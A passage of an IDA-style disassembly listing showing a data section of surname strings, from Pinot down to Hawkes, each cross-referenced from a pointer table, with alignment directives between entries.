aPinot		db 'Pinot',0            ; DATA XREF: ___:0042E6A8o
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: ___:0042E6A4o
aPfister	db 'Pfister',0          ; DATA XREF: ___:0042E6A0o
aPettit		db 'Pettit',0           ; DATA XREF: ___:0042E69Co
		align 10h
aPettibone	db 'Pettibone',0        ; DATA XREF: ___:0042E698o
		align 4
aPetruzello	db 'Petruzello',0       ; DATA XREF: ___:0042E694o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: ___:0042E690o
		align 10h
aPerrimon	db 'Perrimon',0         ; DATA XREF: ___:0042E68Co
		align 4
aPerone		db 'Perone',0           ; DATA XREF: ___:0042E688o
		align 4
aPerna		db 'Perna',0            ; DATA XREF: ___:0042E684o
		align 4
aPerlman	db 'Perlman',0          ; DATA XREF: ___:0042E680o
aPerlak		db 'Perlak',0           ; DATA XREF: ___:0042E67Co
		align 4
aPerko		db 'Perko',0            ; DATA XREF: ___:0042E678o
		align 4
aPereira	db 'Pereira',0          ; DATA XREF: ___:0042E674o
aPenny		db 'Penny',0            ; DATA XREF: ___:0042E670o
		align 4
aPeishel	db 'Peishel',0          ; DATA XREF: ___:0042E66Co
aPederson	db 'Pederson',0         ; DATA XREF: ___:0042E668o
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: ___:0042E664o
		align 4
aPeabody	db 'Peabody',0          ; DATA XREF: ___:0042E660o
aPaynter	db 'Paynter',0          ; DATA XREF: ___:0042E65Co
aPawloski	db 'Pawloski',0         ; DATA XREF: ___:0042E658o
		align 10h
aPavlon		db 'Pavlon',0           ; DATA XREF: ___:0042E654o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: ___:0042E650o
aPattullo	db 'Pattullo',0         ; DATA XREF: ___:0042E64Co
		align 4
aPatrick	db 'Patrick',0          ; DATA XREF: ___:0042E648o
aPatefield	db 'Patefield',0        ; DATA XREF: ___:0042E644o
		align 10h
aPascucci	db 'Pascucci',0         ; DATA XREF: ___:0042E640o
		align 4
aPartridge	db 'Partridge',0        ; DATA XREF: ___:0042E63Co
		align 4
aParris		db 'Parris',0           ; DATA XREF: ___:0042E638o
		align 10h
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: ___:0042E634o
aPaoletti	db 'Paoletti',0         ; DATA XREF: ___:0042E630o
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: ___:0042E62Co
		align 4
aPanizzon	db 'Panizzon',0         ; DATA XREF: ___:0042E628o
		align 10h
aPanadero	db 'Panadero',0         ; DATA XREF: ___:0042E624o
		align 4
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: ___:0042E620o
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: ___:0042E61Co
aPalepu		db 'Palepu',0           ; DATA XREF: ___:0042E618o
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: ___:0042E614o
		align 4
aPaine		db 'Paine',0            ; DATA XREF: ___:0042E610o
		align 4
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: ___:0042E60Co
		align 4
aOvid		db 'Ovid',0             ; DATA XREF: ___:0042E608o
		align 4
aOuchida	db 'Ouchida',0          ; DATA XREF: ___:0042E604o
aOtten		db 'Otten',0            ; DATA XREF: ___:0042E600o
		align 4
aOttaviani	db 'Ottaviani',0        ; DATA XREF: ___:0042E5FCo
		align 10h
aOstrowski	db 'Ostrowski',0        ; DATA XREF: ___:0042E5F8o
		align 4
aOspina		db 'Ospina',0           ; DATA XREF: ___:0042E5F4o
		align 4
aOrsi		db 'Orsi',0             ; DATA XREF: ___:0042E5F0o
		align 4
aOrfield	db 'Orfield',0          ; DATA XREF: ___:0042E5ECo
aOray		db 'Oray',0             ; DATA XREF: ___:0042E5E8o
		align 4
aOpel		db 'Opel',0             ; DATA XREF: ___:0042E5E4o
		align 4
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: ___:0042E5E0o
aOman		db 'Oman',0             ; DATA XREF: ___:0042E5DCo
		align 4
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: ___:0042E5D8o
		align 10h
aOlszewski	db 'Olszewski',0        ; DATA XREF: ___:0042E5D4o
		align 4
aOlson		db 'Olson',0            ; DATA XREF: ___:0042E5D0o
		align 4
aOlsen		db 'Olsen',0            ; DATA XREF: ___:0042E5CCo
		align 4
aOldford	db 'Oldford',0          ; DATA XREF: ___:0042E5C8o
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: ___:0042E5C4o
aOh		db 'Oh',0               ; DATA XREF: ___:0042E5C0o
		align 10h
aOgata		db 'Ogata',0            ; DATA XREF: ___:0042E5BCo
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: ___:0042E5B8o
aNuzum		db 'Nuzum',0            ; DATA XREF: ___:0042E5B4o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: ___:0042E5B0o
		align 10h
aNitabach	db 'Nitabach',0         ; DATA XREF: ___:0042E5ACo
		align 4
aNisenson	db 'Nisenson',0         ; DATA XREF: ___:0042E5A8o
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: ___:0042E5A4o
		align 4
aNickerson	db 'Nickerson',0        ; DATA XREF: ___:0042E5A0o
		align 10h
aNi_0		db 'Ni',0               ; DATA XREF: ___:0042E59Co
		align 4
aNg		db 'Ng',0               ; DATA XREF: ___:0042E598o
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: ___:0042E594o
		align 10h
aNewfeld	db 'Newfeld',0          ; DATA XREF: ___:0042E590o
aNeuman		db 'Neuman',0           ; DATA XREF: ___:0042E58Co
		align 10h
aNesci		db 'Nesci',0            ; DATA XREF: ___:0042E588o
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: ___:0042E584o
		align 10h
aNelson		db 'Nelson',0           ; DATA XREF: ___:0042E580o
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: ___:0042E57Co
aNaviaux	db 'Naviaux',0          ; DATA XREF: ___:0042E578o
aNardone	db 'Nardone',0          ; DATA XREF: ___:0042E574o
aNardi		db 'Nardi',0            ; DATA XREF: ___:0042E570o
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: ___:0042E56Co
		align 4
aNaddeo		db 'Naddeo',0           ; DATA XREF: ___:0042E568o
		align 4
aMussachio	db 'Mussachio',0        ; DATA XREF: ___:0042E564o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: ___:0042E560o
aMulroy		db 'Mulroy',0           ; DATA XREF: ___:0042E55Co
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: ___:0042E558o
aMugnai		db 'Mugnai',0           ; DATA XREF: ___:0042E554o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: ___:0042E550o
		align 10h
aMudarri	db 'Mudarri',0          ; DATA XREF: ___:0042E54Co
aMotooka	db 'Motooka',0          ; DATA XREF: ___:0042E548o
aMostafavi	db 'Mostafavi',0        ; DATA XREF: ___:0042E544o
		align 4
aMosler		db 'Mosler',0           ; DATA XREF: ___:0042E540o
		align 4
aMosher		db 'Mosher',0           ; DATA XREF: ___:0042E53Co
		align 4
aMortimer	db 'Mortimer',0         ; DATA XREF: ___:0042E538o
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: ___:0042E534o
		align 10h
aMorrison	db 'Morrison',0         ; DATA XREF: ___:0042E530o
		align 4
aMoreton	db 'Moreton',0          ; DATA XREF: ___:0042E52Co
aMorani		db 'Morani',0           ; DATA XREF: ___:0042E528o
		align 4
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: ___:0042E524o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: ___:0042E520o
		align 4
aMonque		db 'Monque',0           ; DATA XREF: ___:0042E51Co
		align 4
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: ___:0042E518o
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: ___:0042E514o
		align 10h
aMoeller	db 'Moeller',0          ; DATA XREF: ___:0042E510o
aModestino	db 'Modestino',0        ; DATA XREF: ___:0042E50Co
		align 4
aMocroft	db 'Mocroft',0          ; DATA XREF: ___:0042E508o
aMittal		db 'Mittal',0           ; DATA XREF: ___:0042E504o
		align 4
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: ___:0042E500o
aGonzalez	db 'Gonzalez',0         ; DATA XREF: ___:0042E4FCo
		align 4
aMinichiello	db 'Minichiello',0      ; DATA XREF: ___:0042E4F8o
aMini		db 'Mini',0             ; DATA XREF: ___:0042E4F4o
		align 10h
aMinh		db 'Minh',0             ; DATA XREF: ___:0042E4F0o
		align 4
aMills		db 'Mills',0            ; DATA XREF: ___:0042E4ECo
		align 10h
aMieher		db 'Mieher',0           ; DATA XREF: ___:0042E4E8o
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: ___:0042E4E4o
		align 10h
aMichelman	db 'Michelman',0        ; DATA XREF: ___:0042E4E0o
		align 4
aMeurer		db 'Meurer',0           ; DATA XREF: ___:0042E4DCo
		align 4
aMetropolis	db 'Metropolis',0       ; DATA XREF: ___:0042E4D8o
		align 10h
aMetelka	db 'Metelka',0          ; DATA XREF: ___:0042E4D4o
aMerz		db 'Merz',0             ; DATA XREF: ___:0042E4D0o
		align 10h
aMerseth	db 'Merseth',0          ; DATA XREF: ___:0042E4CCo
aMerminod	db 'Merminod',0         ; DATA XREF: ___:0042E4C8o
		align 4
aMerlani	db 'Merlani',0          ; DATA XREF: ___:0042E4C4o
aMerikoski	db 'Merikoski',0        ; DATA XREF: ___:0042E4C0o
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: ___:0042E4BCo
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: ___:0042E4B8o
		align 4
aMeccariello	db 'Meccariello',0      ; DATA XREF: ___:0042E4B4o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: ___:0042E4B0o
aMcnealy	db 'Mcnealy',0          ; DATA XREF: ___:0042E4ACo
aMclaren	db 'Mclaren',0          ; DATA XREF: ___:0042E4A8o
aMclane		db 'Mclane',0           ; DATA XREF: ___:0042E4A4o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: ___:0042E4A0o
aMcintosh	db 'Mcintosh',0         ; DATA XREF: ___:0042E49Co
		align 4
aMcilroy	db 'McIlroy',0          ; DATA XREF: ___:0042E498o
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: ___:0042E494o
		align 10h
aMcghee		db 'Mcghee',0           ; DATA XREF: ___:0042E490o
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: ___:0042E48Co
		align 4
aMcelroy	db 'Mcelroy',0          ; DATA XREF: ___:0042E488o
aMcdowell	db 'Mcdowell',0         ; DATA XREF: ___:0042E484o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: ___:0042E480o
		align 4
aMccall		db 'Mccall',0           ; DATA XREF: ___:0042E47Co
		align 4
aMccaffery	db 'Mccaffery',0        ; DATA XREF: ___:0042E478o
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: ___:0042E474o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: ___:0042E470o
		align 4
aMazzali	db 'Mazzali',0          ; DATA XREF: ___:0042E46Co
aMay		db 'May',0              ; DATA XREF: ___:0042E468o
aMauzy		db 'Mauzy',0            ; DATA XREF: ___:0042E464o
		align 10h
aMattson	db 'Mattson',0          ; DATA XREF: ___:0042E460o
aMatsukata	db 'Matsukata',0        ; DATA XREF: ___:0042E45Co
		align 4
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: ___:0042E458o
		align 10h
aMatalka	db 'Matalka',0          ; DATA XREF: ___:0042E454o
aMass		db 'Mass',0             ; DATA XREF: ___:0042E450o
		align 10h
aMarubini	db 'Marubini',0         ; DATA XREF: ___:0042E44Co
		align 4
aMarton		db 'Marton',0           ; DATA XREF: ___:0042E448o
		align 4
aMartochio	db 'Martochio',0        ; DATA XREF: ___:0042E444o
		align 10h
aMartinez	db 'Martinez',0         ; DATA XREF: ___:0042E440o
		align 4
aMarques	db 'Marques',0          ; DATA XREF: ___:0042E43Co
aMargetts	db 'Margetts',0         ; DATA XREF: ___:0042E438o
		align 10h
aMargalit	db 'Margalit',0         ; DATA XREF: ___:0042E434o
		align 4
aMarcus		db 'Marcus',0           ; DATA XREF: ___:0042E430o
		align 4
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: ___:0042E42Co
		align 10h
aMarch		db 'March',0            ; DATA XREF: ___:0042E428o
		align 4
aMantovan	db 'Mantovan',0         ; DATA XREF: ___:0042E424o
		align 4
aManganiello	db 'Manganiello',0      ; DATA XREF: ___:0042E420o
aMandel		db 'Mandel',0           ; DATA XREF: ___:0042E41Co
		align 4
aManalis	db 'Manalis',0          ; DATA XREF: ___:0042E418o
aMalova		db 'Malova',0           ; DATA XREF: ___:0042E414o
		align 4
aMaller		db 'Maller',0           ; DATA XREF: ___:0042E410o
		align 10h
aMalatesta	db 'Malatesta',0        ; DATA XREF: ___:0042E40Co
		align 4
aMaisano	db 'Maisano',0          ; DATA XREF: ___:0042E408o
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: ___:0042E404o
		align 4
aMaier		db 'Maier',0            ; DATA XREF: ___:0042E400o
		align 4
aMahony		db 'Mahony',0           ; DATA XREF: ___:0042E3FCo
		align 4
aMaggio		db 'Maggio',0           ; DATA XREF: ___:0042E3F8o
		align 4
aMadigan	db 'Madigan',0          ; DATA XREF: ___:0042E3F4o
aMacy		db 'Macy',0             ; DATA XREF: ___:0042E3F0o
		align 4
aMacmillan	db 'MacMillan',0        ; DATA XREF: ___:0042E3ECo
		align 4
aMackenney	db 'Mackenney',0        ; DATA XREF: ___:0042E3E8o
		align 4
aMacintyre	db 'Macintyre',0        ; DATA XREF: ___:0042E3E4o
		align 10h
aMaceachern	db 'Maceachern',0       ; DATA XREF: ___:0042E3E0o
		align 4
aMacdonald	db 'Macdonald',0        ; DATA XREF: ___:0042E3DCo
		align 4
aMaccormac	db 'Maccormac',0        ; DATA XREF: ___:0042E3D8o
		align 4
aMa		db 'Ma',0               ; DATA XREF: ___:0042E3D4o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: ___:0042E3D0o
aLutcavage	db 'Lutcavage',0        ; DATA XREF: ___:0042E3CCo
		align 4
aLussier	db 'Lussier',0          ; DATA XREF: ___:0042E3C8o
aLuoma		db 'Luoma',0            ; DATA XREF: ___:0042E3C4o
		align 4
aLunetta	db 'Lunetta',0          ; DATA XREF: ___:0042E3C0o
aLuecke		db 'Luecke',0           ; DATA XREF: ___:0042E3BCo
		align 4
aLuczkow	db 'Luczkow',0          ; DATA XREF: ___:0042E3B8o
aLuciano	db 'Luciano',0          ; DATA XREF: ___:0042E3B4o
aLucas		db 'Lucas',0            ; DATA XREF: ___:0042E3B0o
		align 4
aLubin		db 'Lubin',0            ; DATA XREF: ___:0042E3ACo
		align 4
aLoza		db 'Loza',0             ; DATA XREF: ___:0042E3A8o
		align 4
aLowenstein	db 'Lowenstein',0       ; DATA XREF: ___:0042E3A4o
		align 10h
aLoveman	db 'Loveman',0          ; DATA XREF: ___:0042E3A0o
aLoss		db 'Loss',0             ; DATA XREF: ___:0042E39Co
		align 10h
aLongworth	db 'Longworth',0        ; DATA XREF: ___:0042E398o
		align 4
aLocatelli	db 'Locatelli',0        ; DATA XREF: ___:0042E394o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: ___:0042E390o
aLivolsi	db 'Livolsi',0          ; DATA XREF: ___:0042E38Co
aLivi		db 'Livi',0             ; DATA XREF: ___:0042E388o
		align 10h
aLivernash	db 'Livernash',0        ; DATA XREF: ___:0042E384o
		align 4
aLitvak		db 'Litvak',0           ; DATA XREF: ___:0042E380o
		align 4
aLittle		db 'Little',0           ; DATA XREF: ___:0042E37Co
		align 4
aLipponen	db 'Lipponen',0         ; DATA XREF: ___:0042E378o
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: ___:0042E374o
		align 4
aLinzee		db 'Linzee',0           ; DATA XREF: ___:0042E370o
		align 4
aLinehan	db 'Linehan',0          ; DATA XREF: ___:0042E36Co
aLine		db 'Line',0             ; DATA XREF: ___:0042E368o
		align 4
aLinder		db 'Linder',0           ; DATA XREF: ___:0042E364o
		align 4
aLinda		db 'Linda',0            ; DATA XREF: ___:0042E360o
		align 4
aLinares	db 'Linares',0          ; DATA XREF: ___:0042E35Co
aLim		db 'Lim',0              ; DATA XREF: ___:0042E358o
aLightfoot	db 'Lightfoot',0        ; DATA XREF: ___:0042E354o
		align 4
aLight		db 'Light',0            ; DATA XREF: ___:0042E350o
		align 4
aLiem		db 'Liem',0             ; DATA XREF: ___:0042E34Co
		align 4
aLidano		db 'Lidano',0           ; DATA XREF: ___:0042E348o
		align 4
aLiakos		db 'Liakos',0           ; DATA XREF: ___:0042E344o
		align 4
aLessi		db 'Lessi',0            ; DATA XREF: ___:0042E340o
		align 4
aLesser		db 'Lesser',0           ; DATA XREF: ___:0042E33Co
		align 4
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: ___:0042E338o
		align 10h
aLenard		db 'Lenard',0           ; DATA XREF: ___:0042E334o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: ___:0042E330o
		align 10h
aLeclercq	db 'Leclercq',0         ; DATA XREF: ___:0042E32Co
		align 4
aLecce		db 'Lecce',0            ; DATA XREF: ___:0042E328o
		align 4
aLecar		db 'Lecar',0            ; DATA XREF: ___:0042E324o
		align 4
aLawless	db 'Lawless',0          ; DATA XREF: ___:0042E320o
aLashley	db 'Lashley',0          ; DATA XREF: ___:0042E31Co
aLaserna	db 'Laserna',0          ; DATA XREF: ___:0042E318o
aLanzit		db 'Lanzit',0           ; DATA XREF: ___:0042E314o
		align 4
aLantieri	db 'Lantieri',0         ; DATA XREF: ___:0042E310o
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: ___:0042E30Co
		align 10h
aLandes		db 'Landes',0           ; DATA XREF: ___:0042E308o
					; ___:0043295Co
		align 4
dword_430058	dd 6C6C614Ch		; DATA XREF: ___:0042E304o
aEmant		db 'emant',0            ; DATA XREF: ___:off_4327F8o
		align 4
aLaing		db 'Laing',0            ; DATA XREF: ___:0042E300o
		align 4
aLafler		db 'Lafler',0           ; DATA XREF: ___:0042E2FCo
		align 4
aLabunka	db 'Labunka',0          ; DATA XREF: ___:0042E2F8o
aLa		db 'La',0               ; DATA XREF: ___:0042E2F4o
		align 10h
aKuwabara	db 'Kuwabara',0         ; DATA XREF: ___:0042E2F0o
		align 4
aKusman		db 'Kusman',0           ; DATA XREF: ___:0042E2ECo
		align 4
aKumar		db 'Kumar',0            ; DATA XREF: ___:0042E2E8o
		align 4
aKuenzli	db 'Kuenzli',0          ; DATA XREF: ___:0042E2E4o
aKrysiak	db 'Krysiak',0          ; DATA XREF: ___:0042E2E0o
aKroemer	db 'Kroemer',0          ; DATA XREF: ___:0042E2DCo
aKraus		db 'Kraus',0            ; DATA XREF: ___:0042E2D8o
		align 4
aKrasney	db 'Krasney',0          ; DATA XREF: ___:0042E2D4o
aKrailo		db 'Krailo',0           ; DATA XREF: ___:0042E2D0o
		align 4
aKraemer	db 'Kraemer',0          ; DATA XREF: ___:0042E2CCo
aKovaks		db 'Kovaks',0           ; DATA XREF: ___:0042E2C8o
		align 4
aKotter		db 'Kotter',0           ; DATA XREF: ___:0042E2C4o
		align 4
aKorzybski	db 'Korzybski',0        ; DATA XREF: ___:0042E2C0o
		align 10h
aKool		db 'Kool',0             ; DATA XREF: ___:0042E2BCo
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: ___:0042E2B8o
		align 10h
aKoniaris	db 'Koniaris',0         ; DATA XREF: ___:0042E2B4o
		align 4
aKommer		db 'Kommer',0           ; DATA XREF: ___:0042E2B0o
		align 4
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: ___:0042E2ACo
		align 10h
aKohn		db 'Kohn',0             ; DATA XREF: ___:0042E2A8o
		align 4
aKoch		db 'Koch',0             ; DATA XREF: ___:0042E2A4o
		align 10h
aKobrick	db 'Kobrick',0          ; DATA XREF: ___:0042E2A0o
aKnuff		db 'Knuff',0            ; DATA XREF: ___:0042E29Co
		align 10h
aKlint		db 'Klint',0            ; DATA XREF: ___:0042E298o
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: ___:0042E294o
aKling		db 'Kling',0            ; DATA XREF: ___:0042E290o
		align 4
aKlemperer	db 'Klemperer',0        ; DATA XREF: ___:0042E28Co
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: ___:0042E288o
aKleiman	db 'Kleiman',0          ; DATA XREF: ___:0042E284o
aKleckner	db 'Kleckner',0         ; DATA XREF: ___:0042E280o
		align 4
aKittridge	db 'Kittridge',0        ; DATA XREF: ___:0042E27Co
		align 4
aKirscht	db 'Kirscht',0          ; DATA XREF: ___:0042E278o
aKippenberger	db 'Kippenberger',0     ; DATA XREF: ___:0042E274o
		align 4
aKinsley	db 'Kinsley',0          ; DATA XREF: ___:0042E270o
aKindall	db 'Kindall',0          ; DATA XREF: ___:0042E26Co
aKimura		db 'Kimura',0           ; DATA XREF: ___:0042E268o
		align 4
aKimmett	db 'Kimmett',0          ; DATA XREF: ___:0042E264o
aKimmel		db 'Kimmel',0           ; DATA XREF: ___:0042E260o
		align 4
aKhong		db 'Khong',0            ; DATA XREF: ___:0042E25Co
		align 4
aKeul		db 'Keul',0             ; DATA XREF: ___:0042E258o
		align 4
aKerry		db 'Kerry',0            ; DATA XREF: ___:0042E254o
		align 4
aKendall	db 'Kendall',0          ; DATA XREF: ___:0042E250o
aKemsley	db 'Kemsley',0          ; DATA XREF: ___:0042E24Co
aKempton	db 'Kempton',0          ; DATA XREF: ___:0042E248o
aKelsey		db 'Kelsey',0           ; DATA XREF: ___:0042E244o
		align 4
aKelker		db 'Kelker',0           ; DATA XREF: ___:0042E240o
		align 4
aKeith		db 'Keith',0            ; DATA XREF: ___:0042E23Co
		align 4
aKeepper	db 'Keepper',0          ; DATA XREF: ___:0042E238o
aKeenan		db 'Keenan',0           ; DATA XREF: ___:0042E234o
		align 4
aKee		db 'Kee',0              ; DATA XREF: ___:0042E230o
aKawachi	db 'Kawachi',0          ; DATA XREF: ___:0042E22Co
aKasten		db 'Kasten',0           ; DATA XREF: ___:0042E228o
		align 10h
aKassower	db 'Kassower',0         ; DATA XREF: ___:0042E224o
		align 4
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: ___:0042E220o
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: ___:0042E21Co
		align 10h
aKamel		db 'Kamel',0            ; DATA XREF: ___:0042E218o
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: ___:0042E214o
		align 10h
aKalinowski	db 'Kalinowski',0       ; DATA XREF: ___:0042E210o
		align 4
aKalil		db 'Kalil',0            ; DATA XREF: ___:0042E20Co
		align 4
aKaligian	db 'Kaligian',0         ; DATA XREF: ___:0042E208o
		align 10h
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: ___:0042E204o
aKafadar	db 'Kafadar',0          ; DATA XREF: ___:0042E200o
aKaboolian	db 'Kaboolian',0        ; DATA XREF: ___:0042E1FCo
		align 10h
aKabbash	db 'Kabbash',0          ; DATA XREF: ___:0042E1F8o
aJulious	db 'Julious',0          ; DATA XREF: ___:0042E1F4o
aJuliano	db 'Juliano',0          ; DATA XREF: ___:0042E1F0o
aJucks		db 'Jucks',0            ; DATA XREF: ___:0042E1ECo
		align 10h
aJorgensen	db 'Jorgensen',0        ; DATA XREF: ___:0042E1E8o
		align 4
aJolly		db 'Jolly',0            ; DATA XREF: ___:0042E1E4o
		align 4
aJohns		db 'Johns',0            ; DATA XREF: ___:0042E1E0o
		align 4
aJohannsen	db 'Johannsen',0        ; DATA XREF: ___:0042E1DCo
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: ___:0042E1D8o
aJewett		db 'Jewett',0           ; DATA XREF: ___:0042E1D4o
		align 4
aJespersen	db 'Jespersen',0        ; DATA XREF: ___:0042E1D0o
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: ___:0042E1CCo
aJellis		db 'Jellis',0           ; DATA XREF: ___:0042E1C8o
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: ___:0042E1C4o
aJay		db 'Jay',0              ; DATA XREF: ___:0042E1C0o
aJarrell	db 'Jarrell',0          ; DATA XREF: ___:0042E1BCo
aJarnagin	db 'Jarnagin',0         ; DATA XREF: ___:0042E1B8o
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: ___:0042E1B4o
		align 4
aJamil		db 'Jamil',0            ; DATA XREF: ___:0042E1B0o
		align 4
aJain		db 'Jain',0             ; DATA XREF: ___:0042E1ACo
		align 4
aJagoe		db 'Jagoe',0            ; DATA XREF: ___:0042E1A8o
		align 4
aJagger		db 'Jagger',0           ; DATA XREF: ___:0042E1A4o
		align 4
aJagers		db 'Jagers',0           ; DATA XREF: ___:0042E1A0o
		align 4
aJackson	db 'Jackson',0          ; DATA XREF: ___:0042E19Co
aJacenko	db 'Jacenko',0          ; DATA XREF: ___:0042E198o
aIyer		db 'Iyer',0             ; DATA XREF: ___:0042E194o
		align 4
aIsserman	db 'Isserman',0         ; DATA XREF: ___:0042E190o
		align 10h
aIsbill		db 'Isbill',0           ; DATA XREF: ___:0042E18Co
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: ___:0042E188o
		align 4
aIsaac		db 'Isaac',0            ; DATA XREF: ___:0042E184o
		align 4
aInniss		db 'Inniss',0           ; DATA XREF: ___:0042E180o
		align 4
aInamura	db 'Inamura',0          ; DATA XREF: ___:0042E17Co
aIgarashi	db 'Igarashi',0         ; DATA XREF: ___:0042E178o
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: ___:0042E174o
		align 4
aIaquinta	db 'Iaquinta',0         ; DATA XREF: ___:0042E170o
		align 10h
aHyde		db 'Hyde',0             ; DATA XREF: ___:0042E16Co
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: ___:0042E168o
		align 4
aHurtubise	db 'Hurtubise',0        ; DATA XREF: ___:0042E164o
		align 10h
aHupp		db 'Hupp',0             ; DATA XREF: ___:0042E160o
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: ___:0042E15Co
		align 4
aHungerford	db 'Hungerford',0       ; DATA XREF: ___:0042E158o
		align 10h
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: ___:0042E154o
		align 4
aHuey		db 'Huey',0             ; DATA XREF: ___:0042E150o
		align 4
aHoy		db 'Hoy',0              ; DATA XREF: ___:0042E14Co
aHoward		db 'Howard',0           ; DATA XREF: ___:0042E148o
		align 10h
aHottle		db 'Hottle',0           ; DATA XREF: ___:0042E144o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: ___:0042E140o
aHoshida	db 'Hoshida',0          ; DATA XREF: ___:0042E13Co
aHorsley	db 'Horsley',0          ; DATA XREF: ___:0042E138o
aHopkins	db 'Hopkins',0          ; DATA XREF: ___:0042E134o
aHooker		db 'Hooker',0           ; DATA XREF: ___:0042E130o
		align 10h
aHolzman	db 'Holzman',0          ; DATA XREF: ___:0042E12Co
aHolway		db 'Holway',0           ; DATA XREF: ___:0042E128o
		align 10h
aHolter		db 'Holter',0           ; DATA XREF: ___:0042E124o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: ___:0042E120o
aHolmes		db 'Holmes',0           ; DATA XREF: ___:0042E11Co
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: ___:0042E118o
		align 10h
aHokanson	db 'Hokanson',0         ; DATA XREF: ___:0042E114o
		align 4
aHoffman	db 'Hoffman',0          ; DATA XREF: ___:0042E110o
aHoffer		db 'Hoffer',0           ; DATA XREF: ___:0042E10Co
		align 4
aHock		db 'Hock',0             ; DATA XREF: ___:0042E108o
		align 4
aHoang		db 'Hoang',0            ; DATA XREF: ___:0042E104o
		align 4
aHitchcock	db 'Hitchcock',0        ; DATA XREF: ___:0042E100o
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: ___:0042E0FCo
		align 10h
aHind		db 'Hind',0             ; DATA XREF: ___:0042E0F8o
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: ___:0042E0F4o
		align 4
aHeyeck		db 'Heyeck',0           ; DATA XREF: ___:0042E0F0o
		align 4
aHeubert	db 'Heubert',0          ; DATA XREF: ___:0042E0ECo
aHester		db 'Hester',0           ; DATA XREF: ___:0042E0E8o
		align 4
aHerrera	db 'Herrera',0          ; DATA XREF: ___:0042E0E4o
aHernandez	db 'Hernandez',0        ; DATA XREF: ___:0042E0E0o
		align 10h
aHenrichs	db 'Henrichs',0         ; DATA XREF: ___:0042E0DCo
		align 4
aHenery		db 'Henery',0           ; DATA XREF: ___:0042E0D8o
		align 4
aHemphill	db 'Hemphill',0         ; DATA XREF: ___:0042E0D4o
		align 10h
aHelprin	db 'Helprin',0          ; DATA XREF: ___:0042E0D0o
aHellmiss	db 'Hellmiss',0         ; DATA XREF: ___:0042E0CCo
		align 4
aHellman	db 'Hellman',0          ; DATA XREF: ___:0042E0C8o
aHeiland	db 'Heiland',0          ; DATA XREF: ___:0042E0C4o
aHeft		db 'Heft',0             ; DATA XREF: ___:0042E0C0o
		align 4
aHeermans	db 'Heermans',0         ; DATA XREF: ___:0042E0BCo
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: ___:0042E0B8o
		align 4
aHaynes		db 'Haynes',0           ; DATA XREF: ___:0042E0B4o
		align 4
aHayes		db 'Hayes',0            ; DATA XREF: ___:0042E0B0o
		align 4
aHawkes		db 'Hawkes',0           ; DATA XREF: ___:0042E0ACo
		align 4
